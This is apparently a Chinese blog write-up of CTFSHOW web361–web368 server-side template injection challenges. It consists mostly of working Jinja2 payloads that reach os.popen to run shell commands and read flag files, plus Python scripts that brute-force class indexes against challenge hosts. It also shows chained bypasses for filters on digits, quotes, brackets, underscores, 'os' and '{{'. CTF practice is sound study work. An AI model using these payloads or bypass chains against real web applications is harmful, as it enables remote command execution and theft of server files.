当前位置:   article > 正文

CTFSHOW SSTI_ctfshow web361

ctfshow web361

目录

web361   【无过滤】

subprocess.Popen

os._wrap_close

url_for

lipsum

cycler

web362   【过滤数字】

第一个通过 计算长度来实现

第二个使用脚本输出另一个数字来绕过

使用没有数字的payload

web363   【过滤引号】

使用getitem  自定义变量

web364   【过滤 args和引号】

chr

web365   【过滤中括号】

getitem()

web366   【过滤下划线】

attr

web367   【过滤os】

get(request.values.a)

web368   【过滤{{】


最近搞了几题SSTI 有点意思

做一下CTFSHOW的吧

web361   【无过滤】

名字就是考点

这题简单直接payload 和过程了

  1. ?name={{7*7}}
  2. ?name={{"".__class__.__base__.__subclasses__()}}

这里贴上一下脚本 用来查找位数

  1. import time
  2. import requests
  3. base_url="http://d30af560-b595-44ce-b476-e5681156b059.challenge.ctf.show/?name="
  4. for i in range(200):
  5. payload="{{\"\".__class__.__base__.__subclasses__()[%s]}}"%i
  6. r= requests.get(url=base_url+payload)
  7. if "subprocess.Popen" in r.text:
  8. print(i)
  9. if r.status_code == 429:
  10. time.sleep(0.5)

简单的我就使用多点方法


subprocess.Popen

/?name={{"".__class__.__base__.__subclasses__()[407]}}
  1. /?name={{"".__class__.__base__.__subclasses__()[407]("ls",shell=True,stdout=-1).communicate()[0].strip()}}

os._wrap_close

  1. ?name={{"".__class__.__base__.__subclasses__()[132]}}
  2. /?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']("ls").read()}}
  3. /?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']("ls /").read()}}
  4. /?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']("cat /f*").read()}}

url_for

  1. {{url_for.__globals__}}
  2. {{url_for.__globals__["current.app"].config}}

但是这里没有

 下面是

推测可能是 twig 和 Jinja2 使用

lipsum

  1. ?name={{lipsum.__globals__}}
  2. ?name={{lipsum.__globals__['os']}}
  3. {{lipsum.__globals__['os'].popen("ls").read()}}
  4. {{lipsum.__globals__['os'].popen("cat /f*").read()}}

cycler

  1. ?name={{cycler.__init__.__globals__}}
  2. ?name={{cycler.__init__.__globals__.os.popen("ls /").read()}}
  3. ?name={{cycler.__init__.__globals__.os.popen("cat /f*").read()}}

不写了 太多了

还是需要理解 一旦出现过滤 这种直接复制粘贴是没有用的 最好在 python中多看看

web362   【过滤数字】

这里过滤了数字

我们有两个方法

第一个通过 计算长度来实现

{% set a='aaaaaa'|length %}{{ ().__class__.__base__.__subclasses__()[a] }}

但是这个需要拼接很多

所以放弃

第二个使用脚本输出另一个数字来绕过

  1. def half2full(half):
  2. full = ''
  3. for ch in half:
  4. if ord(ch) in range(33, 127):
  5. ch = chr(ord(ch) + 0xfee0)
  6. elif ord(ch) == 32:
  7. ch = chr(0x3000)
  8. else:
  9. pass
  10. full += ch
  11. return full
  12. t=''
  13. s="0123456789"
  14. for i in s:
  15. t+='\''+half2full(i)+'\','
  16. print(t)
  1. '0','1','2','3','4','5','6','7','8','9',
  2. 132
/?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__.popen("cat /f*").read()}}

使用没有数字的payload

?name={{lipsum.__globals__['os'].popen("cat /flag").read()}}

web363   【过滤引号】

这里可以使用构造request方式绕过 这里过滤了引号

我们需要构造无引号的

这里可以记住 过滤了引号 我们就可以通过括号来查找

使用getitem  自定义变量

这里可以使用自定义的变量来绕过 request.values.a 类似于自己定义的变量

只需要在}}后面传递参数即可

  1. {{().__class__.__mro__[1].__subclasses__()}}
  2. /?name={{().__class__.__mro__[1].__subclasses__()[].__init__.__globals__.__getitem__(request.values.a)}}&a=popen
  3. 这里是我们需要跑的脚本类型
  4. 我们需要找到popen来执行命令 我们就可以通过遍历类 然后通过__getitem__找到方法request
  5. 然后来查询popen

写个脚本

  1. import requests
  2. baseurl="http://c48f6cc8-a4d6-4783-86af-982c96cf190e.challenge.ctf.show/?name="
  3. for i in range(1000):
  4. payload="""{{().__class__.__mro__[1].__subclasses__()[%i].__init__.__globals__.__getitem__(request.values.a)}}&a=popen"""%i
  5. r=requests.get(url=baseurl+payload)
  6. if "popen" in r.text:
  7. print(i)
  8. else:
  9. continue

跑出来132

  1. {{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=ls
  2. /?name={{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=cat /flag

web364   【过滤 args和引号】

这里其实使用上一题的方法还是可以

/?name={{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=cat /flag

这里介绍一下另一个方法chr 方法

chr

  1. import requests
  2. baseurl="http://c48f6cc8-a4d6-4783-86af-982c96cf190e.challenge.ctf.show/?name="
  3. for i in range(1000):
  4. payload="""{{().__class__.__mro__[1].__subclasses__()[%s].__init__.__globals__.__builtins__.chr}}"""%i
  5. r=requests.get(url=baseurl+payload)
  6. if "chr" in r.text:
  7. print(i)
  8. else:
  9. continue

通过脚本 寻找存在chr方法的类

然后使用 框架表达式 {{%%}}声明变量

来声明 chr的方法

  1. ?name={%set+chr=().__class__.__mro__[1].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}
  2. 这里是两块
  3. {% set chr=().__class__.__mro__[1].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}
  4. 第一块 来设置chr
  5. 第二块
  6. {{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}
  7. 这里的chr() 是 cat /f*

web365   【过滤中括号】

这里比上一题多了中括号的过滤

getitem()

  1. __golbals__[123]
  2. __golbals__.__getitem__(123)

这两个 是没有区别的

所以遇到了中括号我们可以运用这个方式来做

  1. ?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.values.a).read()}}&a=ls
  2. ?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.values.a).read()}}&a=cat /f*

web366   【过滤下划线】

这里接着上面的内容过滤了下划线

attr

  1. ().__class__
  2. ()|attr('__class__') 这两个是一样的
  3. 但是这个题目过滤了_
  4. 我们可以使用request来绕过
  5. (lipsum|attr(request.values.a)) &a=__class__

直接构造payload

  1. {{lipsum|attr(request.values.b)}}&b=__globals__
  2. {{(lipsum|attr(request.values.b)).os}}&b=__globals__
  3. {{(lipsum|attr(request.values.b)).os.popen(request.values.c).read()}}&b=__globals__&c=ls
  4. {{(lipsum|attr(request.values.b)).os.popen(request.values.c).read()}}&b=__globals__&c=cat /f*

web367   【过滤os】

这里在上面的基础上过滤了os

这里需要使用 get(request.values.a) 来获取os

其余和上面一样即可

get(request.values.a)

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /f*

web368   【过滤{{】

这里我们过滤了{{ 但是没有过滤其他表达式

我们通过 {% %}

表达式修改一下即可

  1. ?name={%+print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%}&a=__globals__&b=os&c=ls
  2. ?name={%+print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%}&a=__globals__&b=os&c=cat /f*

声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop博客】
推荐阅读
  

闽ICP备14008679号